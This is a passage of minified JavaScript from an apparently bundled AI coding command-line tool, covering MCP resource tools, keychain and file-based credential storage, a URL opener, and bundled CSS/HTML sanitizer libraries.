K=s(2),{children:q}=A,Y;if(K[0]!==q)Y=QBA.createElement(tZ7.Provider,{value:!0},q),K[0]=q,K[1]=Y;else Y=K[1];return Y}function AW7(){return sZ7.useContext(tZ7)}var QBA,sZ7,tZ7;var OM6=k(()=>{cA();QBA=o($A(),1),sZ7=o($A(),1),tZ7=QBA.createContext(!1)});function QkY(A){try{let K=G6(A),q=UA(K),Y=A.replace(/\s+/g,""),z=q.replace(/\s+/g,"");if(Y!==z)return A;return UA(K,null,2)}catch{return A}}function KW7(A){return A.split(` `).map(QkY).join(` `)}function zB(A){let K=s(10),{content:q,verbose:Y,isError:z,isWarning:w}=A,{columns:H}=f8(),J=AW7(),O=Y||J,X;if(O){let W;if(K[0]!==q)W=y$1(KW7(q)),K[0]=q,K[1]=W;else W=K[1];X=W}else{let W;if(K[2]!==H||K[3]!==q)W=y$1(aZ7(KW7(q),H)),K[2]=H,K[3]=q,K[4]=W;else W=K[4];X=W}let $=X,_=z?"error":w?"warning":void 0,G;if(K[5]!==$)G=BqA.createElement(a3,null,$),K[5]=$,K[6]=G;else G=K[6];let Z;if(K[7]!==_||K[8]!==G)Z=BqA.createElement(k6,null,BqA.createElement(V,{color:_},G)),K[7]=_,K[8]=G,K[9]=Z;else Z=K[9];return Z}function y$1(A){return A.replace(/\u001b\[([0-9]+;)*4(;[0-9]+)*m|\u001b\[4(;[0-9]+)*m|\u001b\[([0-9]+;)*4m/g,"")}var BqA;var rZA=k(()=>{cA();mA();Eq();uK();FBA();b1();OM6();BqA=o($A(),1)});function I$1(A){return A.replace(/<sandbox_violations>[\s\S]*?<\/sandbox_violations>/g,"")}function C3(A){let K=s(16),{result:q,verbose:Y}=A,z=cK("app:toggleTranscript","Global","ctrl+o"),w,H,J,O,X;if(K[0]!==q||K[1]!==z||K[2]!==Y){let G;if(typeof q!=="string")G="Tool execution failed";else{let W=i7(q,"tool_use_error")??q,j=I$1(W).trim();if(!Y&&j.includes("InputValidationError: "))G="Invalid tool parameters";else if(j.startsWith("Error: "))G=j;else G=`Error: ${j}`}let Z=G.split(` `).length-XM6;H=k6,w=S,J="column",O=HW.createElement(V,{color:"error"},y$1(Y?G:G.split(` `).slice(0,XM6).join(` `))),X=!Y&&G.split(` `).length>XM6&&HW.createElement(S,null,HW.createElement(V,{dimColor:!0},"… +",Z," ",Z===1?"line":"lines"," ("),HW.createElement(V,{dimColor:!0,bold:!0},z),HW.createElement(V,null," "),HW.createElement(V,{dimColor:!0},"to see all)")),K[0]=q,K[1]=z,K[2]=Y,K[3]=w,K[4]=H,K[5]=J,K[6]=O,K[7]=X}else w=K[3],H=K[4],J=K[5],O=K[6],X=K[7];let $;if(K[8]!==w||K[9]!==J||K[10]!==O||K[11]!==X)$=HW.createElement(w,{flexDirection:J},O,X),K[8]=w,K[9]=J,K[10]=O,K[11]=X,K[12]=$;else $=K[12];let _;if(K[13]!==H||K[14]!==$)_=HW.createElement(H,null,$),K[13]=H,K[14]=$,K[15]=_;else _=K[15];return _}var HW,XM6=10;var J0=k(()=>{cA();mA();Eq();$8();rZA();Vz();HW=o($A(),1)});function qW7(A){if(Object.keys(A).length===0)return null;return Object.entries(A).map(([K,q])=>`${K}: ${UA(q)}`).join(", ")}function YW7(){return Tz.createElement(u9,null)}function zW7(A,{verbose:K}){return Tz.createElement(C3,{result:A,verbose:K})}function wW7(){return null}function S$1(A,K,{verbose:q}){let Y=A,z=gW6(Y),H=z>UkY?`${eA.warning} Large MCP response (~${g5(z)} tokens), this can fill up context quickly`:null,J;if(Array.isArray(Y)){let O=Y.map((X,$)=>{if(X.type==="image")return Tz.createElement(S,{key:$,justifyContent:"space-between",overflowX:"hidden",width:"100%"},Tz.createElement(k6,{height:1},Tz.createElement(V,null,"[Image]")));let _=X.type==="text"&&"text"in X&&X.text!==null&&X.text!==void 0?String(X.text):"";return Tz.createElement(zB,{key:$,content:_,verbose:q})});J=Tz.createElement(S,{flexDirection:"column",width:"100%"},O)}else if(!Y)J=Tz.createElement(S,{justifyContent:"space-between",overflowX:"hidden",width:"100%"},Tz.createElement(k6,{height:1},Tz.createElement(V,{dimColor:!0},"(No content)")));else J=Tz.createElement(zB,{content:Y,verbose:q});if(H)return Tz.createElement(S,{flexDirection:"column"},Tz.createElement(k6,{height:1},Tz.createElement(V,{color:"warning"},H)),J);return J}var Tz,UkY=1e4;var $M6=k(()=>{mA();__();J0();rZA();Eq();g4();wX1();b1();Tz=o($A(),1)});var pkY,dkY,HW7;var JW7=k(()=>{z7();$M6();pkY=U.object({}).passthrough(),dkY=U.string().describe("MCP tool execution result"),HW7={isMcp:!0,isEnabled(){return!0},isConcurrencySafe(){return!1},isReadOnly(){return!1},isDestructive(){return!1},isOpenWorld(){return!1},name:"mcp",maxResultSizeChars:1e5,async description(){return UZ7},async prompt(){return QZ7},inputSchema:pkY,outputSchema:dkY,async call(){return{data:""}},async checkPermissions(){return{behavior:"passthrough",message:"MCPTool requires permission."}},renderToolUseMessage:qW7,userFacingName:()=>"mcp",renderToolUseRejectedMessage:YW7,renderToolUseErrorMessage:zW7,renderToolUseProgressMessage:wW7,renderToolResultMessage:S$1,mapToolResultToToolResultBlockParam(A,K){return{tool_use_id:K,type:"tool_result",content:A}}}});var OW7=` Lists available resources from configured MCP servers. Each resource object includes a 'server' field indicating which server it's from. Usage examples: - List all resources from all servers: \`listMcpResources\` - List resources from a specific server: \`listMcpResources({ server: "myserver" })\` `,XW7=` List available resources from configured MCP servers. Each returned resource will include all standard MCP resource fields plus a 'server' field indicating which server the resource belongs to. Parameters: - server (optional): The name of a specific MCP server to get resources from. If not provided, resources from all servers will be returned. `;function $W7(A){return A.server?`List MCP resources from server "${A.server}"`:"List all MCP resources"}function _W7(){return nM.createElement(u9,null)}function GW7(A,{verbose:K}){return nM.createElement(C3,{result:A,verbose:K})}function ZW7(){return null}function WW7(A,K,{verbose:q}){if(!A||A.length===0)return nM.createElement(S,{justifyContent:"space-between",overflowX:"hidden",width:"100%"},nM.createElement(S,{flexDirection:"row"},nM.createElement(V,null," ⎿ "),nM.createElement(V,{dimColor:!0},"(No resources found)")));let Y=UA(A,null,2);return nM.createElement(zB,{content:Y,verbose:q})}var nM;var DW7=k(()=>{mA();__();J0();rZA();b1();nM=o($A(),1)});var ckY,lkY,Mp;var h$1=k(()=>{z7();G_();C1();Vf();DW7();b1();ckY=U.object({server:U.string().optional().describe("Optional server name to filter resources by")}),lkY=U.array(U.object({uri:U.string().describe("Resource URI"),name:U.string().describe("Resource name"),mimeType:U.string().optional().describe("MIME type of the resource"),description:U.string().optional().describe("Resource description"),server:U.string().describe("Server that provides this resource")})),Mp={isEnabled(){return!0},isConcurrencySafe(){return!0},isReadOnly(){return!0},shouldDefer:!0,name:"ListMcpResourcesTool",maxResultSizeChars:1e5,async description(){return OW7},async prompt(){return XW7},inputSchema:ckY,outputSchema:lkY,async call(A,{options:{mcpClients:K}}){let q=[],{server:Y}=A,z=Y?K.filter((w)=>w.name===Y):K;if(Y&&z.length===0)throw Error(`Server "${Y}" not found. Available servers: ${K.map((w)=>w.name).join(", ")}`);for(let w of z){if(w.type!=="connected")continue;try{if(!w.capabilities?.resources)continue;let J=await(await oZA(w)).client.request({method:"resources/list"},zqA);if(!J.resources)continue;let O=J.resources.map((X)=>({...X,server:w.name}));q.push(...O)}catch(H){O2(w.name,`Failed to fetch resources: ${H instanceof Error?H.message:String(H)}`)}}return{data:q}},async checkPermissions(A){return{behavior:"allow",updatedInput:A}},renderToolUseMessage:$W7,userFacingName:()=>"listMcpResources",renderToolUseRejectedMessage:_W7,renderToolUseErrorMessage:GW7,renderToolUseProgressMessage:ZW7,renderToolResultMessage:WW7,mapToolResultToToolResultBlockParam(A,K){if(!A||A.length===0)return{tool_use_id:K,type:"tool_result",content:"No resources found. MCP servers may still provide tools even if they have no resources."};return{tool_use_id:K,type:"tool_result",content:UA(A)}}}});var jW7=` Reads a specific resource from an MCP server. - server: The name of the MCP server to read from - uri: The URI of the resource to read Usage examples: - Read a resource from a server: \`readMcpResource({ server: "myserver", uri: "my-resource-uri" })\` `,MW7=` Reads a specific resource from an MCP server, identified by server name and resource URI. Parameters: - server (required): The name of the MCP server from which to read the resource - uri (required): The URI of the resource to read `;function PW7(A){if(!A.uri||!A.server)return null;return`Read resource "${A.uri}" from server "${A.server}"`}function VW7(){return"readMcpResource"}function fW7(){return sT.createElement(u9,null)}function NW7(A,{verbose:K}){return sT.createElement(C3,{result:A,verbose:K})}function TW7(){return null}function vW7(A,K,{verbose:q}){if(!A||!A.contents||A.contents.length===0)return sT.createElement(S,{justifyContent:"space-between",overflowX:"hidden",width:"100%"},sT.createElement(k6,{height:1},sT.createElement(V,{dimColor:!0},"(No content)")));let Y=UA(A,null,2);return sT.createElement(zB,{content:Y,verbose:q})}var sT;var EW7=k(()=>{mA();__();J0();Eq();rZA();b1();sT=o($A(),1)});var ikY,nkY,Pp;var b$1=k(()=>{z7();G_();Vf();EW7();b1();ikY=U.object({server:U.string().describe("The MCP server name"),uri:U.string().describe("The resource URI to read")}),nkY=U.object({contents:U.array(U.object({uri:U.string().describe("Resource URI"),mimeType:U.string().optional().describe("MIME type of the content"),text:U.string().optional().describe("Text content of the resource")}))}),Pp={isEnabled(){return!0},isConcurrencySafe(){return!0},isReadOnly(){return!0},shouldDefer:!0,name:"ReadMcpResourceTool",maxResultSizeChars:1e5,async description(){return jW7},async prompt(){return MW7},inputSchema:ikY,outputSchema:nkY,async call(A,{options:{mcpClients:K}}){let{server:q,uri:Y}=A,z=K.find((J)=>J.name===q);if(!z)throw Error(`Server "${q}" not found. Available servers: ${K.map((J)=>J.name).join(", ")}`);if(z.type!=="connected")throw Error(`Server "${q}" is not connected`);if(!z.capabilities?.resources)throw Error(`Server "${q}" does not support resources`);return{data:await(await oZA(z)).client.request({method:"resources/read",params:{uri:Y}},wqA)}},async checkPermissions(A){return{behavior:"allow",updatedInput:A}},renderToolUseMessage:PW7,userFacingName:VW7,renderToolUseRejectedMessage:fW7,renderToolUseErrorMessage:NW7,renderToolUseProgressMessage:TW7,renderToolResultMessage:vW7,mapToolResultToToolResultBlockParam(A,K){return{tool_use_id:K,type:"tool_result",content:UA(A)}}}});function kW7(A,K){return{name:`${A.name}-with-${K.name}-fallback`,read(){let q=A.read();if(q!==null&&q!==void 0)return q;return K.read()||{}},async readAsync(){let q=await A.readAsync();if(q!==null&&q!==void 0)return q;return await K.readAsync()||{}},update(q){let Y=A.read(),z=A.update(q);if(z.success){if(Y===null)K.delete();return z}let w=K.update(q);if(w.success)return{success:!0,warning:w.warning};return{success:!1}},delete(){let q=A.delete(),Y=K.delete();return q||Y}}}import{createHash as rkY}from"crypto";import{userInfo as okY}from"os";function Vp(A=""){let K=w8(),Y=!process.env.CLAUDE_CONFIG_DIR?"":`-${rkY("sha256").update(K).digest("hex").substring(0,8)}`;return`Claude Code${E7().OAUTH_FILE_SUFFIX}${A}${Y}`}function aZA(){try{return process.env.USER||okY().username}catch{return"claude-code-user"}}function la(){gI={data:null,valid:!1}}function LW7(){if(process.platform!=="darwin")return!1;try{return TzA("security",["show-keychain-info"],{reject:!1,stdio:["ignore","pipe","pipe"]}).exitCode===36}catch{return!1}}var gI,CW7;var UBA=k(()=>{vy1();CK();l6();uz();rP();b1();gI={data:null,valid:!1};CW7={name:"keychain",read(){if(gI.valid)return gI.data;try{let A=Vp("-credentials"),K=aZA(),q=eW(`security find-generic-password -a "${K}" -w -s "${A}"`);if(q){let Y=G6(q);return gI={data:Y,valid:!0},Y}}catch(A){return gI={data:null,valid:!0},null}return gI={data:null,valid:!0},null},async readAsync(){if(gI.valid)return gI.data;try{let A=Vp("-credentials"),K=aZA(),{stdout:q,code:Y}=await R6("security",["find-generic-password","-a",K,"-w","-s",A],{useCwd:!1,preserveOutputOnError:!1});if(Y===0&&q){let z=G6(q.trim());return gI={data:z,valid:!0},z}}catch(A){}return gI={data:null,valid:!0},null},update(A){la();try{let K=Vp("-credentials"),q=aZA(),Y=UA(A),z=Buffer.from(Y,"utf-8").toString("hex"),w=`add-generic-password -U -a "${q}" -s "${K}" -X "${z}" `;if(TzA("security",["-i"],{input:w,stdio:["pipe","pipe","pipe"],reject:!1}).exitCode!==0)return{success:!1};return gI={data:A,valid:!0},{success:!0}}catch(K){return{success:!1}}},delete(){la();try{let A=Vp("-credentials"),K=aZA();return eW(`security delete-generic-password -a "${K}" -s "${A}"`),!0}catch(A){return!1}}}});import{join as akY}from"path";import{chmodSync as skY}from"fs";function _M6(){let A=w8(),K=".credentials.json";return{storageDir:A,storagePath:akY(A,".credentials.json")}}var GM6;var RW7=k(()=>{e6();l6();b1();b1();GM6={name:"plaintext",read(){let{storagePath:A}=_M6();if(BA().existsSync(A))try{let K=BA().readFileSync(A,{encoding:"utf8"});return G6(K)}catch(K){return null}return null},async readAsync(){return this.read()},update(A){try{let{storageDir:K,storagePath:q}=_M6();if(!BA().existsSync(K))BA().mkdirSync(K);return x8(q,UA(A),{encoding:"utf8",flush:!1}),skY(q,384),{success:!0,warning:"Warning: Storing credentials in plaintext."}}catch(K){return{success:!1}}},delete(){let{storagePath:A}=_M6();if(BA().existsSync(A))try{return BA().unlinkSync(A),!0}catch(K){return!1}return!0}}});function ff(){if(process.platform==="darwin")return kW7(CW7,GM6);return GM6}var x$1=k(()=>{UBA();RW7()});function tkY(A){let K;try{K=new URL(A)}catch(q){throw Error(`Invalid URL format: ${A}`)}if(K.protocol!=="http:"&&K.protocol!=="https:")throw Error(`Invalid URL protocol: must use http:// or https://, got ${K.protocol}`)}async function MY(A){try{tkY(A);let K=process.env.BROWSER,q=process.platform;if(q==="win32"){if(K){let{code:z}=await R6(K,[`"${A}"`]);return z===0}let{code:Y}=await R6("rundll32",["url,OpenURL",A],{});return Y===0}else{let Y=K||(q==="darwin"?"open":"xdg-open"),{code:z}=await R6(Y,[A]);return z===0}}catch(K){return!1}}var nD=k(()=>{CK()});var ZM6=v((YCY)=>{function yW7(){var A={};return A["align-content"]=!1,A["align-items"]=!1,A["align-self"]=!1,A["alignment-adjust"]=!1,A["alignment-baseline"]=!1,A.all=!1,A["anchor-point"]=!1,A.animation=!1,A["animation-delay"]=!1,A["animation-direction"]=!1,A["animation-duration"]=!1,A["animation-fill-mode"]=!1,A["animation-iteration-count"]=!1,A["animation-name"]=!1,A["animation-play-state"]=!1,A["animation-timing-function"]=!1,A.azimuth=!1,A["backface-visibility"]=!1,A.background=!0,A["background-attachment"]=!0,A["background-clip"]=!0,A["background-color"]=!0,A["background-image"]=!0,A["background-origin"]=!0,A["background-position"]=!0,A["background-repeat"]=!0,A["background-size"]=!0,A["baseline-shift"]=!1,A.binding=!1,A.bleed=!1,A["bookmark-label"]=!1,A["bookmark-level"]=!1,A["bookmark-state"]=!1,A.border=!0,A["border-bottom"]=!0,A["border-bottom-color"]=!0,A["border-bottom-left-radius"]=!0,A["border-bottom-right-radius"]=!0,A["border-bottom-style"]=!0,A["border-bottom-width"]=!0,A["border-collapse"]=!0,A["border-color"]=!0,A["border-image"]=!0,A["border-image-outset"]=!0,A["border-image-repeat"]=!0,A["border-image-slice"]=!0,A["border-image-source"]=!0,A["border-image-width"]=!0,A["border-left"]=!0,A["border-left-color"]=!0,A["border-left-style"]=!0,A["border-left-width"]=!0,A["border-radius"]=!0,A["border-right"]=!0,A["border-right-color"]=!0,A["border-right-style"]=!0,A["border-right-width"]=!0,A["border-spacing"]=!0,A["border-style"]=!0,A["border-top"]=!0,A["border-top-color"]=!0,A["border-top-left-radius"]=!0,A["border-top-right-radius"]=!0,A["border-top-style"]=!0,A["border-top-width"]=!0,A["border-width"]=!0,A.bottom=!1,A["box-decoration-break"]=!0,A["box-shadow"]=!0,A["box-sizing"]=!0,A["box-snap"]=!0,A["box-suppress"]=!0,A["break-after"]=!0,A["break-before"]=!0,A["break-inside"]=!0,A["caption-side"]=!1,A.chains=!1,A.clear=!0,A.clip=!1,A["clip-path"]=!1,A["clip-rule"]=!1,A.color=!0,A["color-interpolation-filters"]=!0,A["column-count"]=!1,A["column-fill"]=!1,A["column-gap"]=!1,A["column-rule"]=!1,A["column-rule-color"]=!1,A["column-rule-style"]=!1,A["column-rule-width"]=!1,A["column-span"]=!1,A["column-width"]=!1,A.columns=!1,A.contain=!1,A.content=!1,A["counter-increment"]=!1,A["counter-reset"]=!1,A["counter-set"]=!1,A.crop=!1,A.cue=!1,A["cue-after"]=!1,A["cue-before"]=!1,A.cursor=!1,A.direction=!1,A.display=!0,A["display-inside"]=!0,A["display-list"]=!0,A["display-outside"]=!0,A["dominant-baseline"]=!1,A.elevation=!1,A["empty-cells"]=!1,A.filter=!1,A.flex=!1,A["flex-basis"]=!1,A["flex-direction"]=!1,A["flex-flow"]=!1,A["flex-grow"]=!1,A["flex-shrink"]=!1,A["flex-wrap"]=!1,A.float=!1,A["float-offset"]=!1,A["flood-color"]=!1,A["flood-opacity"]=!1,A["flow-from"]=!1,A["flow-into"]=!1,A.font=!0,A["font-family"]=!0,A["font-feature-settings"]=!0,A["font-kerning"]=!0,A["font-language-override"]=!0,A["font-size"]=!0,A["font-size-adjust"]=!0,A["font-stretch"]=!0,A["font-style"]=!0,A["font-synthesis"]=!0,A["font-variant"]=!0,A["font-variant-alternates"]=!0,A["font-variant-caps"]=!0,A["font-variant-east-asian"]=!0,A["font-variant-ligatures"]=!0,A["font-variant-numeric"]=!0,A["font-variant-position"]=!0,A["font-weight"]=!0,A.grid=!1,A["grid-area"]=!1,A["grid-auto-columns"]=!1,A["grid-auto-flow"]=!1,A["grid-auto-rows"]=!1,A["grid-column"]=!1,A["grid-column-end"]=!1,A["grid-column-start"]=!1,A["grid-row"]=!1,A["grid-row-end"]=!1,A["grid-row-start"]=!1,A["grid-template"]=!1,A["grid-template-areas"]=!1,A["grid-template-columns"]=!1,A["grid-template-rows"]=!1,A["hanging-punctuation"]=!1,A.height=!0,A.hyphens=!1,A.icon=!1,A["image-orientation"]=!1,A["image-resolution"]=!1,A["ime-mode"]=!1,A["initial-letters"]=!1,A["inline-box-align"]=!1,A["justify-content"]=!1,A["justify-items"]=!1,A["justify-self"]=!1,A.left=!1,A["letter-spacing"]=!0,A["lighting-color"]=!0,A["line-box-contain"]=!1,A["line-break"]=!1,A["line-grid"]=!1,A["line-height"]=!1,A["line-snap"]=!1,A["line-stacking"]=!1,A["line-stacking-ruby"]=!1,A["line-stacking-shift"]=!1,A["line-stacking-strategy"]=!1,A["list-style"]=!0,A["list-style-image"]=!0,A["list-style-position"]=!0,A["list-style-type"]=!0,A.margin=!0,A["margin-bottom"]=!0,A["margin-left"]=!0,A["margin-right"]=!0,A["margin-top"]=!0,A["marker-offset"]=!1,A["marker-side"]=!1,A.marks=!1,A.mask=!1,A["mask-box"]=!1,A["mask-box-outset"]=!1,A["mask-box-repeat"]=!1,A["mask-box-slice"]=!1,A["mask-box-source"]=!1,A["mask-box-width"]=!1,A["mask-clip"]=!1,A["mask-image"]=!1,A["mask-origin"]=!1,A["mask-position"]=!1,A["mask-repeat"]=!1,A["mask-size"]=!1,A["mask-source-type"]=!1,A["mask-type"]=!1,A["max-height"]=!0,A["max-lines"]=!1,A["max-width"]=!0,A["min-height"]=!0,A["min-width"]=!0,A["move-to"]=!1,A["nav-down"]=!1,A["nav-index"]=!1,A["nav-left"]=!1,A["nav-right"]=!1,A["nav-up"]=!1,A["object-fit"]=!1,A["object-position"]=!1,A.opacity=!1,A.order=!1,A.orphans=!1,A.outline=!1,A["outline-color"]=!1,A["outline-offset"]=!1,A["outline-style"]=!1,A["outline-width"]=!1,A.overflow=!1,A["overflow-wrap"]=!1,A["overflow-x"]=!1,A["overflow-y"]=!1,A.padding=!0,A["padding-bottom"]=!0,A["padding-left"]=!0,A["padding-right"]=!0,A["padding-top"]=!0,A.page=!1,A["page-break-after"]=!1,A["page-break-before"]=!1,A["page-break-inside"]=!1,A["page-policy"]=!1,A.pause=!1,A["pause-after"]=!1,A["pause-before"]=!1,A.perspective=!1,A["perspective-origin"]=!1,A.pitch=!1,A["pitch-range"]=!1,A["play-during"]=!1,A.position=!1,A["presentation-level"]=!1,A.quotes=!1,A["region-fragment"]=!1,A.resize=!1,A.rest=!1,A["rest-after"]=!1,A["rest-before"]=!1,A.richness=!1,A.right=!1,A.rotation=!1,A["rotation-point"]=!1,A["ruby-align"]=!1,A["ruby-merge"]=!1,A["ruby-position"]=!1,A["shape-image-threshold"]=!1,A["shape-outside"]=!1,A["shape-margin"]=!1,A.size=!1,A.speak=!1,A["speak-as"]=!1,A["speak-header"]=!1,A["speak-numeral"]=!1,A["speak-punctuation"]=!1,A["speech-rate"]=!1,A.stress=!1,A["string-set"]=!1,A["tab-size"]=!1,A["table-layout"]=!1,A["text-align"]=!0,A["text-align-last"]=!0,A["text-combine-upright"]=!0,A["text-decoration"]=!0,A["text-decoration-color"]=!0,A["text-decoration-line"]=!0,A["text-decoration-skip"]=!0,A["text-decoration-style"]=!0,A["text-emphasis"]=!0,A["text-emphasis-color"]=!0,A["text-emphasis-position"]=!0,A["text-emphasis-style"]=!0,A["text-height"]=!0,A["text-indent"]=!0,A["text-justify"]=!0,A["text-orientation"]=!0,A["text-overflow"]=!0,A["text-shadow"]=!0,A["text-space-collapse"]=!0,A["text-transform"]=!0,A["text-underline-position"]=!0,A["text-wrap"]=!0,A.top=!1,A.transform=!1,A["transform-origin"]=!1,A["transform-style"]=!1,A.transition=!1,A["transition-delay"]=!1,A["transition-duration"]=!1,A["transition-property"]=!1,A["transition-timing-function"]=!1,A["unicode-bidi"]=!1,A["vertical-align"]=!1,A.visibility=!1,A["voice-balance"]=!1,A["voice-duration"]=!1,A["voice-family"]=!1,A["voice-pitch"]=!1,A["voice-range"]=!1,A["voice-rate"]=!1,A["voice-stress"]=!1,A["voice-volume"]=!1,A.volume=!1,A["white-space"]=!1,A.widows=!1,A.width=!0,A["will-change"]=!1,A["word-break"]=!0,A["word-spacing"]=!0,A["word-wrap"]=!0,A["wrap-flow"]=!1,A["wrap-through"]=!1,A["writing-mode"]=!1,A["z-index"]=!1,A}function ekY(A,K,q){}function ACY(A,K,q){}var KCY=/javascript\s*\:/img;function qCY(A,K){if(KCY.test(K))return"";return K}YCY.whiteList=yW7();YCY.getDefaultWhiteList=yW7;YCY.onAttr=ekY;YCY.onIgnoreAttr=ACY;YCY.safeAttrValue=qCY});var WM6=v((J3H,IW7)=>{IW7.exports={indexOf:function(A,K){var q,Y;if(Array.prototype.indexOf)return A.indexOf(K);for(q=0,Y=A.length;q<Y;q++)if(A[q]===K)return q;return-1},forEach:function(A,K,q){var Y,z;if(Array.prototype.forEach)return A.forEach(K,q);for(Y=0,z=A.length;Y<z;Y++)K.call(q,A[Y],Y,A)},trim:function(A){if(String.prototype.trim)return A.trim();return A.replace(/(^\s*)|(\s*$)/g,"")},trimRight:function(A){if(String.prototype.trimRight)return A.trimRight();return A.replace(/(\s*$)/g,"")}}});var hW7=v((O3H,SW7)=>{var pBA=WM6();function XCY(A,K){if(A=pBA.trimRight(A),A[A.length-1]!==";")A+=";";var q=A.length,Y=!1,z=0,w=0,H="";function J(){if(!Y){var $=pBA.trim(A.slice(z,w)),_=$.indexOf(":");if(_!==-1){var G=pBA.trim($.slice(0,_)),Z=pBA.trim($.slice(_+1));if(G){var W=K(z,H.length,G,Z,$);if(W)H+=W+"; "}}}z=w+1}for(;w<q;w++){var O=A[w];if(O==="/"&&A[w+1]==="*"){var X=A.indexOf("*/",w+2);if(X===-1)break;w=X+1,z=w+1,Y=!1}else if(O==="(")Y=!0;else if(O===")")Y=!1;else if(O===";")if(Y);else J();else if(O===` `)J()}return pBA.trim(H)}SW7.exports=XCY});var BW7=v(($3H,uW7)=>{var u$1=ZM6(),$CY=hW7(),X3H=WM6();function bW7(A){return A===void 0||A===null}function _CY(A){var K={};for(var q in A)K[q]=A[q];return K}function xW7(A){A=_CY(A||{}),A.whiteList=A.whiteList||u$1.whiteList,A.onAttr=A.onAttr||u$1.onAttr,A.onIgnoreAttr=A.onIgnoreAttr||u$1.onIgnoreAttr,A.safeAttrValue=A.safeAttrValue||u$1.safeAttrValue,this.options=A}xW7.prototype.process=function(A){if(A=A||"",A=A.toString(),!A)return"";var K=this,q=K.options,Y=q.whiteList,z=q.onAttr,w=q.onIgnoreAttr,H=q.safeAttrValue,J=$CY(A,function(O,X,$,_,G){var Z=Y[$],W=!1;if(Z===!0)W=Z;else if(typeof Z==="function")W=Z(_);else if(Z instanceof RegExp)W=Z.test(_);if(W!==!0)W=!1;if(_=H($,_),!_)return;var D={position:X,sourcePosition:O,source:G,isWhite:W};if(W){var j=z($,_,D);if(bW7(j))return $+":"+_;else return j}else{var j=w($,_,D);if(!bW7(j))return j}});return J};uW7.exports=xW7});var g$1=v((m$1,DM6)=>{var mW7=ZM6(),gW7=BW7();function GCY(A,K){var q=new gW7(K);return q.process(A)}m$1=DM6.exports=GCY;m$1.FilterCSS=gW7;for(B$1 in mW7)m$1[B$1]=mW7[B$1];var B$1;if(typeof window<"u")window.filterCSS=DM6.exports});var F$1=v((_3H,FW7)=>{FW7.exports={indexOf:function(A,K){var q,Y;if(Array.prototype.indexOf)return A.indexOf(K);for(q=0,Y=A.length;q<Y;q++)if(A[q]===K)return q;return-1},forEach:function(A,K,q){var Y,z;if(Array.prototype.forEach)return A.forEach(K,q);for(Y=0,z=A.length;Y<z;Y++)K.call(q,A[Y],Y,A)},trim:function(A){if(String.prototype.trim)return A.trim();return A.replace(/(^\s*)|(\s*$)/g,"")},spaceIndex:function(A){var K=/\s|\n|\t/,q=K.exec(A);return q?q.index:-1}}});var jM6=v((SCY)=>{var ZCY=g$1().FilterCSS,WCY=g$1().getDefaultWhiteList,U$1=F$1();function pW7(){return{a:["target","href","title"],abbr:["title"],address:[],area:["shape","coords","href","alt"],article:[],aside:[],audio:["autoplay","controls","crossorigin","loop","muted","preload","src"],b:[],bdi:["dir"],bdo:["dir"],big:[],blockquote:["cite"],br:[],caption:[],center:[],cite:[],code:[],col:["align","valign","span","width"],colgroup:["align","valign","span","width"],dd:[],del:["datetime"],details:["open"],div:[],dl:[],dt:[],em:[],figcaption:[],figure:[],font:["color","size","face"],footer:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],hr:[],i:[],img:["src","alt","title","width","height","loading"],ins:["datetime"],kbd:[],li:[],mark:[],nav:[],ol:[],p:[],pre:[],s:[],section:[],small:[],span:[],sub:[],summary:[],sup:[],strong:[],strike:[],table:["width","border","align","valign"],tbody:["align","valign"],td:["width","rowspan","colspan","align","valign"],tfoot:["align","valign"],th:["width","rowspan","colspan","align","valign"],thead:["align","valign"],tr:["rowspan","align","valign"],tt:[],u:[],ul:[],video:["autoplay","controls","crossorigin","loop","muted","playsinline","poster","preload","src","height","width"]}}var dW7=new ZCY;function DCY(A,K,q){}function jCY(A,K,q){}function MCY(A,K,q){}function PCY(A,K,q){}function cW7(A){return A.replace(fCY,"<").replace(NCY,">")}function VCY(A,K,q,Y){if(q=aW7(q),K==="href"||K==="src"){if(q=U$1.trim(q),q==="#")return"#";if(!(q.substr(0,7)==="http://"||q.substr(0,8)==="https://"||q.substr(0,7)==="mailto:"||q.substr(0,4)==="tel:"||q.substr(0,11)==="data:image/"||q.substr(0,6)==="ftp://"||q.substr(0,2)==="./"||q.substr(0,3)==="../"||q[0]==="#"||q[0]==="/"))return""}else if(K==="background"){if(Q$1.lastIndex=0,Q$1.test(q))return""}else if(K==="style"){if(QW7.lastIndex=0,QW7.test(q))return"";if(UW7.lastIndex=0,UW7.test(q)){if(Q$1.lastIndex=0,Q$1.test(q))return""}if(Y!==!1)Y=Y||dW7,q=Y.process(q)}return q=sW7(q),q}var fCY=/</g,NCY=/>/g,TCY=/"/g,vCY=/"/g,ECY=/&#([a-zA-Z0-9]*);?/gim,kCY=/:?/gim,CCY=/&newline;?/gim,Q$1=/((j\s*a\s*v\s*a|v\s*b|l\s*i\s*v\s*e)\s*s\s*c\s*r\s*i\s*p\s*t\s*|m\s*o\s*c\s*h\s*a):/gi,QW7=/e\s*x\s*p\s*r\s*e\s*s\s*s\s*i\s*o\s*n\s*\(.*/gi,UW7=/u\s*r\s*l\s*\(.*/gi;function lW7(A){return A.replace(TCY,""")}function iW7(A){return A.replace(vCY,'"')}function nW7(A){return A.replace(ECY,function(q,Y){return Y[0]==="x"||Y[0]==="X"?String.fromCharCode(parseInt(Y.substr(1),16)):String.fromCharCode(parseInt(Y,10))})}function rW7(A){return A.replace(kCY,":").replace(CCY," ")}function oW7(A){var K="";for(var q=0,Y=A.length;q<Y;q++)K+=A.charCodeAt(q)<32?" ":A.charAt(q);return U$1.trim(K)}function aW7(A){return A=iW7(A),A=nW7(A),A=rW7(A),A=oW7(A),A}function sW7(A){return A=lW7(A),A=cW7(A),A}function LCY(){return""}function RCY(A,K){if(typeof K!=="function")K=function(){};var q=!Array.isArray(A);function Y(H){if(q)return!0;return U$1.indexOf(A,H)!==-1}var z=[],w=!1;return{onIgnoreTag:function(H,J,O){if(Y(H))if(O.isClosing){var X="[/removed]",$=O.position+X.length;return z.push([w!==!1?w:O.position,$]),w=!1,X}else{if(!w)w=O.position;return"[removed]"}else return K(H,J,O)},remove:function(H){var J="",O=0;return U$1.forEach(z,function(X){J+=H.slice(O,X[0]),O=X[1]}),J+=H.slice(O),J}}}function yCY(A){var K="",q=0;while(q<A.length){var Y=A.indexOf("<!--",q);if(Y===-1){K+=A.slice(q);break}K+=A.slice(q,Y);var z=A.indexOf("-->",Y);if(z===-1)break;q=z+3}return K}function ICY(A){var K=A.split("");return K=K.filter(function(q){var 